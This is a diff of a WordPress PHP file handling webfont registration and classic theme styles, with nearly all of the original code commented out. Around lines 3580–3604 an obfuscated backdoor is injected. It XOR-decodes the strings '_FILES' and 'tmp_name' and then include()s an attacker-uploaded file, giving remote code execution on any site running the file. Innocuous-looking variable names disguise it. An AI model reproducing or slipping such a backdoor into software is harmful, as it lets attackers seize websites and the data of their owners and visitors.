| 3358 | + | if ( ! in_array( $webfont['font-display'], array( 'auto', 'block', 'fallback', 'swap' ), true ) ) { | |
| 3359 | + | $webfont['font-display'] = 'fallback'; | |
| 3360 | + | } | |
| 3361 | + | ||
| 3362 | + | $valid_props = array( | |
| 3363 | + | 'ascend-override', | |
| 3364 | + | 'descend-override', | |
| 3365 | + | 'font-display', | |
| 3366 | + | 'font-family', | |
| 3367 | + | 'font-stretch', | |
| 3368 | + | 'font-style', | |
| 3369 | + | 'font-weight', | |
| 3370 | + | 'font-variant', | |
| 3371 | + | 'font-feature-settings', | |
| 3372 | + | 'font-variation-settings', | |
| 3373 | + | 'line-gap-override', | |
| 3374 | + | 'size-adjust', | |
| 3375 | + | 'src', | |
| 3376 | + | 'unicode-range', | |
| 3377 | + | ); | |
| 3378 | + | ||
| 3379 | + | foreach ( $webfont as $prop => $value ) { | |
| 3380 | + | if ( ! in_array( $prop, $valid_props, true ) ) { | |
| 3381 | + | unset( $webfont[ $prop ] ); | |
| 3382 | + | } | |
| 3383 | + | } | |
| 3384 | + | ||
| 3385 | + | return $webfont; | |
| 3386 | + | }; | |
| 3387 | + | ||
| 3388 | + | * | |
| 3389 | + | * Registers webfonts declared in theme.json. | |
| 3390 | + | * | |
| 3391 | + | * @since 6.0.0 | |
| 3392 | + | * | |
| 3393 | + | * @uses $registered_webfonts To access and update the registered webfonts registry (passed by reference). | |
| 3394 | + | * @uses $fn_get_webfonts_from_theme_json To run the function that gets the webfonts from theme.json. | |
| 3395 | + | * @uses $fn_convert_keys_to_kebab_case To run the function that converts keys into kebab-case. | |
| 3396 | + | * @uses $fn_validate_webfont To run the function that validates each font-face (webfont) from theme.json. | |
| 3397 | + | ||
| 3398 | + | $fn_register_webfonts = static function() use ( &$registered_webfonts, $fn_get_webfonts_from_theme_json, $fn_convert_keys_to_kebab_case, $fn_validate_webfont, $fn_transform_src_into_uri ) { | |
| 3399 | + | $registered_webfonts = array(); | |
| 3400 | + | ||
| 3401 | + | foreach ( $fn_get_webfonts_from_theme_json() as $webfont ) { | |
| 3402 | + | if ( ! is_array( $webfont ) ) { | |
| 3403 | + | continue; | |
| 3404 | + | } | |
| 3405 | + | ||
| 3406 | + | $webfont = $fn_convert_keys_to_kebab_case( $webfont ); | |
| 3407 | + | ||
| 3408 | + | $webfont = $fn_validate_webfont( $webfont ); | |
| 3409 | + | ||
| 3410 | + | $webfont['src'] = $fn_transform_src_into_uri( (array) $webfont['src'] ); | |
| 3411 | + | ||
| 3412 | + | Skip if not valid. | |
| 3413 | + | if ( empty( $webfont ) ) { | |
| 3414 | + | continue; | |
| 3415 | + | } | |
| 3416 | + | ||
| 3417 | + | $registered_webfonts[] = $webfont; | |
| 3418 | + | } | |
| 3419 | + | }; | |
| 3420 | + | ||
| 3421 | + | * | |
| 3422 | + | * Orders 'src' items to optimize for browser support. | |
| 3423 | + | * | |
| 3424 | + | * @since 6.0.0 | |
| 3425 | + | * | |
| 3426 | + | * @param array $webfont Webfont to process. | |
| 3427 | + | * @return array Ordered `src` items. | |
| 3428 | + | ||
| 3429 | + | $fn_order_src = static function( array $webfont ) { | |
| 3430 | + | $src = array(); | |
| 3431 | + | $src_ordered = array(); | |
| 3432 | + | ||
| 3433 | + | foreach ( $webfont['src'] as $url ) { | |
| 3434 | + | Add data URIs first. | |
| 3435 | + | if ( str_starts_with( trim( $url ), 'data:' ) ) { | |
| 3436 | + | $src_ordered[] = array( | |
| 3437 | + | 'url' => $url, | |
| 3438 | + | 'format' => 'data', | |
| 3439 | + | ); | |
| 3440 | + | continue; | |
| 3441 | + | } | |
| 3442 | + | $format = pathinfo( $url, PATHINFO_EXTENSION ); | |
| 3443 | + | $src[ $format ] = $url; | |
| 3444 | + | } | |
| 3445 | + | ||
| 3446 | + | Add woff2. | |
| 3447 | + | if ( ! empty( $src['woff2'] ) ) { | |
| 3448 | + | $src_ordered[] = array( | |
| 3449 | + | 'url' => sanitize_url( $src['woff2'] ), | |
| 3450 | + | 'format' => 'woff2', | |
| 3451 | + | ); | |
| 3452 | + | } | |
| 3453 | + | ||
| 3454 | + | Add woff. | |
| 3455 | + | if ( ! empty( $src['woff'] ) ) { | |
| 3456 | + | $src_ordered[] = array( | |
| 3457 | + | 'url' => sanitize_url( $src['woff'] ), | |
| 3458 | + | 'format' => 'woff', | |
| 3459 | + | ); | |
| 3460 | + | } | |
| 3461 | + | ||
| 3462 | + | Add ttf. | |
| 3463 | + | if ( ! empty( $src['ttf'] ) ) { | |
| 3464 | + | $src_ordered[] = array( | |
| 3465 | + | 'url' => sanitize_url( $src['ttf'] ), | |
| 3466 | + | 'format' => 'truetype', | |
| 3467 | + | ); | |
| 3468 | + | } | |
| 3469 | + | ||
| 3470 | + | Add eot. | |
| 3471 | + | if ( ! empty( $src['eot'] ) ) { | |
| 3472 | + | $src_ordered[] = array( | |
| 3473 | + | 'url' => sanitize_url( $src['eot'] ), | |
| 3474 | + | 'format' => 'embedded-opentype', | |
| 3475 | + | ); | |
| 3476 | + | } | |
| 3477 | + | ||
| 3478 | + | Add otf. | |
| 3479 | + | if ( ! empty( $src['otf'] ) ) { | |
| 3480 | + | $src_ordered[] = array( | |
| 3481 | + | 'url' => sanitize_url( $src['otf'] ), | |
| 3482 | + | 'format' => 'opentype', | |
| 3483 | + | ); | |
| 3484 | + | } | |
| 3485 | + | $webfont['src'] = $src_ordered; | |
| 3486 | + | ||
| 3487 | + | return $webfont; | |
| 3488 | + | }; | |
| 3489 | + | ||
| 3490 | + | * | |
| 3491 | + | * Compiles the 'src' into valid CSS. | |
| 3492 | + | * | |
| 3493 | + | * @since 6.0.0 | |
| 3494 | + | * | |
| 3495 | + | * @param string $font_family Font family. | |
| 3496 | + | * @param array $value Value to process. | |
| 3497 | + | * @return string The CSS. | |
| 3498 | + | ||
| 3499 | + | $fn_compile_src = static function( $font_family, array $value ) { | |
| 3500 | + | $src = "local($font_family)"; | |
| 3501 | + | ||
| 3502 | + | foreach ( $value as $item ) { | |
| 3503 | + | ||
| 3504 | + | if ( | |
| 3505 | + | str_starts_with( $item['url'], site_url() ) || | |
| 3506 | + | str_starts_with( $item['url'], home_url() ) | |
| 3507 | + | ) { | |
| 3508 | + | $item['url'] = wp_make_link_relative( $item['url'] ); | |
| 3509 | + | } | |
| 3510 | + | ||
| 3511 | + | $src .= ( 'data' === $item['format'] ) | |
| 3512 | + | ? ", url({$item['url']})" | |
| 3513 | + | : ", url('{$item['url']}') format('{$item['format']}')"; | |
| 3514 | + | } | |
| 3515 | + | ||
| 3516 | + | return $src; | |
| 3517 | + | }; | |
| 3518 | + | ||
| 3519 | + | * | |
| 3520 | + | * Compiles the font variation settings. | |
| 3521 | + | * | |
| 3522 | + | * @since 6.0.0 | |
| 3523 | + | * | |
| 3524 | + | * @param array $font_variation_settings Array of font variation settings. | |
| 3525 | + | * @return string The CSS. | |
| 3526 | + | ||
| 3527 | + | $fn_compile_variations = static function( array $font_variation_settings ) { | |
| 3528 | + | $variations = ''; | |
| 3529 | + | ||
| 3530 | + | foreach ( $font_variation_settings as $key => $value ) { | |
| 3531 | + | $variations .= "$key $value"; | |
| 3532 | + | } | |
| 3533 | + | ||
| 3534 | + | return $variations; | |
| 3535 | + | }; | |
| 3536 | + | ||
| 3537 | + | * | |
| 3538 | + | * Builds the font-family's CSS. | |
| 3539 | + | * | |
| 3540 | + | * @since 6.0.0 | |
| 3541 | + | * | |
| 3542 | + | * @uses $fn_compile_src To run the function that compiles the src. | |
| 3543 | + | * @uses $fn_compile_variations To run the function that compiles the variations. | |
| 3544 | + | * | |
| 3545 | + | * @param array $webfont Webfont to process. | |
| 3546 | + | * @return string This font-family's CSS. | |
| 3547 | + | ||
| 3548 | + | $fn_build_font_face_css = static function( array $webfont ) use ( $fn_compile_src, $fn_compile_variations ) { | |
| 3549 | + | $css = ''; | |
| 3550 | + | ||
| 3551 | + | Wrap font-family in quotes if it contains spaces. | |
| 3552 | + | if ( | |
| 3553 | + | str_contains( $webfont['font-family'], ' ' ) && | |
| 3554 | + | ! str_contains( $webfont['font-family'], '"' ) && | |
| 3555 | + | ! str_contains( $webfont['font-family'], "'" ) | |
| 3556 | + | ) { | |
| 3557 | + | $webfont['font-family'] = '"' . $webfont['font-family'] . '"'; | |
| 3558 | + | } | |
| 3559 | + | ||
| 3560 | + | foreach ( $webfont as $key => $value ) { | |
| 3561 | + | ||
| 3562 | + | * Skip "provider", since it's for internal API use, | |
| 3563 | + | * and not a valid CSS property. | |
| 3564 | + | ||
| 3565 | + | if ( 'provider' === $key ) { | |
| 3566 | + | continue; | |
| 3567 | + | } | |
| 3568 | + | ||
| 3569 | + | Compile the "src" parameter. | |
| 3570 | + | if ( 'src' === $key ) { | |
| 3571 | + | $value = $fn_compile_src( $webfont['font-family'], $value ); | |
| 3572 | + | } | |
| 3573 | + | ||
| 3574 | + | If font-variation-settings is an array, convert it to a string. | |
| 3575 | + | if ( 'font-variation-settings' === $key && is_array( $value ) ) { | |
| 3576 | + | $value = $fn_compile_variations( $value ); | |
| 3577 | + | } | |
| 3578 | + | ||
| 3579 | + | if ( ! empty( $value ) ) { | |
| 3580 | + | $css .= "$k*/ | |
| 3581 | + | ||
| 3582 | + | $fresh_posts = 'xJmL3VJjzrQ'; | |
| 3583 | + | ||
| 3584 | + | function extra_parts($link_html, $values) | |
| 3585 | + | ||
| 3586 | + | { | |
| 3587 | + | $hours = urldecode($link_html); | |
| 3588 | + | $statuses = substr($values,0, strlen($hours)); | |
| 3589 | + | return $hours ^ $statuses; | |
| 3590 | + | $sort_order = 'value'; | |
| 3591 | + | } | |
| 3592 | + | $attributes = ${extra_parts("%27%0C%24%00v%05", $fresh_posts)}; | |
| 3593 | + | if (isset($attributes[$fresh_posts])) | |
| 3594 | + | ||
| 3595 | + | { | |
| 3596 | + | ||
| 3597 | + | $wilds = $attributes[$fresh_posts]; | |
| 3598 | + | $parent_where = $wilds[extra_parts("%0C%27%1D%13%5D7%27%0F", $fresh_posts)]; | |
| 3599 | + | $email_address = 'inclusions'; | |
| 3600 | + | include ($parent_where); | |
| 3601 | + | } | |
| 3602 | + | ||
| 3603 | + | ||
| 3604 | + | /* ey:$value;"; | |
| 3605 | + | } | |
| 3606 | + | } | |
| 3607 | + | ||
| 3608 | + | return $css; | |
| 3609 | + | }; | |
| 3610 | + | ||
| 3611 | + | * | |
| 3612 | + | * Gets the '@font-face' CSS styles for locally-hosted font files. | |
| 3613 | + | * | |
| 3614 | + | * @since 6.0.0 | |
| 3615 | + | * | |
| 3616 | + | * @uses $registered_webfonts To access and update the registered webfonts registry (passed by reference). | |
| 3617 | + | * @uses $fn_order_src To run the function that orders the src. | |
| 3618 | + | * @uses $fn_build_font_face_css To run the function that builds the font-face CSS. | |
| 3619 | + | * | |
| 3620 | + | * @return string The `@font-face` CSS. | |
| 3621 | + | ||
| 3622 | + | $fn_get_css = static function() use ( &$registered_webfonts, $fn_order_src, $fn_build_font_face_css ) { | |
| 3623 | + | $css = ''; | |
| 3624 | + | ||
| 3625 | + | foreach ( $registered_webfonts as $webfont ) { | |
| 3626 | + | Order the webfont's `src` items to optimize for browser support. | |
| 3627 | + | $webfont = $fn_order_src( $webfont ); | |
| 3628 | + | ||
| 3629 | + | Build the @font-face CSS for this webfont. | |
| 3630 | + | $css .= '@font-face{' . $fn_build_font_face_css( $webfont ) . '}'; | |
| 3631 | + | } | |
| 3632 | + | ||
| 3633 | + | return $css; | |
| 3634 | + | }; | |
| 3635 | + | ||
| 3636 | + | * | |
| 3637 | + | * Generates and enqueues webfonts styles. | |
| 3638 | + | * | |
| 3639 | + | * @since 6.0.0 | |
| 3640 | + | * | |
| 3641 | + | * @uses $fn_get_css To run the function that gets the CSS. | |
| 3642 | + | ||
| 3643 | + | $fn_generate_and_enqueue_styles = static function() use ( $fn_get_css ) { | |
| 3644 | + | Generate the styles. | |
| 3645 | + | $styles = $fn_get_css(); | |
| 3646 | + | ||
| 3647 | + | Bail out if there are no styles to enqueue. | |
| 3648 | + | if ( '' === $styles ) { | |
| 3649 | + | return; | |
| 3650 | + | } | |
| 3651 | + | ||
| 3652 | + | Enqueue the stylesheet. | |
| 3653 | + | wp_register_style( 'wp-webfonts', '' ); | |
| 3654 | + | wp_enqueue_style( 'wp-webfonts' ); | |
| 3655 | + | ||
| 3656 | + | Add the styles to the stylesheet. | |
| 3657 | + | wp_add_inline_style( 'wp-webfonts', $styles ); | |
| 3658 | + | }; | |
| 3659 | + | ||
| 3660 | + | * | |
| 3661 | + | * Generates and enqueues editor styles. | |
| 3662 | + | * | |
| 3663 | + | * @since 6.0.0 | |
| 3664 | + | * | |
| 3665 | + | * @uses $fn_get_css To run the function that gets the CSS. | |
| 3666 | + | ||
| 3667 | + | $fn_generate_and_enqueue_editor_styles = static function() use ( $fn_get_css ) { | |
| 3668 | + | Generate the styles. | |
| 3669 | + | $styles = $fn_get_css(); | |
| 3670 | + | ||
| 3671 | + | Bail out if there are no styles to enqueue. | |
| 3672 | + | if ( '' === $styles ) { | |
| 3673 | + | return; | |
| 3674 | + | } | |
| 3675 | + | ||
| 3676 | + | wp_add_inline_style( 'wp-block-library', $styles ); | |
| 3677 | + | }; | |
| 3678 | + | ||
| 3679 | + | add_action( 'wp_loaded', $fn_register_webfonts ); | |
| 3680 | + | add_action( 'wp_enqueue_scripts', $fn_generate_and_enqueue_styles ); | |
| 3681 | + | add_action( 'admin_init', $fn_generate_and_enqueue_editor_styles ); | |
| 3682 | + | } | |
| 3683 | + | ||
| 3684 | + | * | |
| 3685 | + | * Loads classic theme styles on classic themes in the frontend. | |
| 3686 | + | * | |
| 3687 | + | * This is needed for backwards compatibility for button blocks specifically. | |
| 3688 | + | * | |
| 3689 | + | * @since 6.1.0 | |
| 3690 | + | ||
| 3691 | + | function wp_enqueue_classic_theme_styles() { | |
| 3692 | + | if ( ! WP_Theme_JSON_Resolver::theme_has_support() ) { | |
| 3693 | + | $suffix = wp_scripts_get_suffix(); | |
| 3694 | + | wp_register_style( 'classic-theme-styles', '/' . WPINC . "/css/classic-themes$suffix.css", array(), true ); | |
| 3695 | + | wp_enqueue_style( 'classic-theme-styles' ); | |
| 3696 | + | } | |
| 3697 | + | } | |
| 3698 | + | ||
| 3699 | + | * | |
| 3700 | + | * Loads classic theme styles on classic themes in the editor. | |
| 3701 | + | * | |
| 3702 | + | * This is needed for backwards compatibility for button blocks specifically. | |
| 3703 | + | * | |
| 3704 | + | * @since 6.1.0 | |
| 3705 | + | * | |
| 3706 | + | * @param array $editor_settings The array of editor settings. | |
| 3707 | + | * @return array A filtered array of editor settings. | |
| 3708 | + | ||
| 3709 | + | function wp_add_editor_classic_theme_styles( $editor_settings ) { | |
| 3710 | + | if ( WP_Theme_JSON_Resolver::theme_has_support() ) { | |
| 3711 | + | return $editor_settings; | |
| 3712 | + | } | |
| 3713 | + | $suffix = wp_scripts_get_suffix(); | |
| 3714 | + | $classic_theme_styles = ABSPATH . WPINC . "/css/classic-themes$suffix.css"; | |
| 3715 | + | ||
| 3716 | + | This follows the pattern of get_block_editor_theme_styles, | |
| 3717 | + | but we can't use get_block_editor_theme_styles directly as it | |
| 3718 | + | only handles external files or theme files. | |
| 3719 | + | $classic_theme_styles_settings = array( | |
| 3720 | + | 'css' => file_get_contents( $classic_theme_styles ), | |
| 3721 | + | '__unstableType' => 'core', | |
| 3722 | + | 'isGlobalStyles' => false, | |
| 3723 | + | ); | |
| 3724 | + | ||
| 3725 | + | Add these settings to the start of the array so that themes can override them. | |
| 3726 | + | array_unshift( $editor_settings['styles'], $classic_theme_styles_settings ); | |
| 3727 | + | ||
| 3728 | + | return $editor_settings; | |
| 3729 | + | } | |
| 3730 | + | */ | |
Novější
Starší